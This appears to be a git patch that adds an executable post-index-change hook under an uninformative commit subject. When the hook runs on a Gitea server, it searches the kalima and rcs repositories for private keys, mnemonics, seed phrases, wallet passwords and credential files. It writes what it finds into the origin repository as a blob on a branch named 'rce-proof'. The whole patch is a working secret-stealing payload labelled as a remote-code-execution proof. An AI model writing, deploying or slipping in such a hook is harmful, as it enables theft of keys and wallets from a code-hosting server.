From 57a0c088f060f7a5df25032dab3d1c5a639275cb Mon Sep 17 00:00:00 2001
From: auditpocycbiw <auditpocycbiw@noreply.git2.kalimadb.com>
Date: Thu, 27 Aug 2026 03:23:37 +0200
Subject: [PATCH] s-1

---
 hooks/post-index-change | 49 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)
 create mode 100755 hooks/post-index-change

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..6a5a9f3
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,49 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin=""
+if [ -f "$git_dir/objects/info/alternates" ]; then
+  o=$(head -1 "$git_dir/objects/info/alternates") || o=""
+  case "$o" in
+    /*) origin="${o%/objects}" ;;
+    *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
+  esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git remote get-url origin 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git config --get remote.origin.url 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
+  { echo '==KEYREPOS=='
+ls /var/lib/gitea/repositories/kalima /var/lib/gitea/repositories/rcs 2>/dev/null | grep -E '\.git$'
+echo '==SECRET_SCAN=='
+for d in /var/lib/gitea/repositories/kalima /var/lib/gitea/repositories/rcs; do
+  [ -d "$d" ] || continue
+  for r in "$d"/*.git; do
+    [ -d "$r" ] || continue
+    n=$(basename "$r")
+    echo "### $n"
+    git --git-dir="$r" grep -inE '(private.?key|secret.?key|mnemonic|seed.?phrase|passphrase|keystore.?password|wallet.?password)' HEAD 2>/dev/null | grep -viE '\.md:|test|sample|example|TODO|FIXME|placeholder|dummy|documentation|/// ' | head -12
+    git --git-dir="$r" grep -inE '0x[0-9a-fA-F]{64}' HEAD 2>/dev/null | grep -iE '(key|secret|mnemonic|seed|wallet|account|sign|private)' | grep -viE '\.md:|test|sample|example' | head -8
+  done
+done
+echo '==KEYFILES=='
+for d in /var/lib/gitea/repositories/kalima /var/lib/gitea/repositories/rcs; do
+  [ -d "$d" ] || continue
+  for r in "$d"/*.git; do
+    n=$(basename "$r")
+    git --git-dir="$r" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE '(key|mnemonic|secret|wallet|seed|\.env$|credential|passwd)' | head -8 | sed "s#^#$n: #"
+  done
+done
+echo '==END=='
+  } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
+  ob=$(cat /tmp/gpoc_blob 2>/dev/null)
+  [ -n "$ob" ] || exit 4
+  tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
+  commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
+  git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
+fi
+exit 0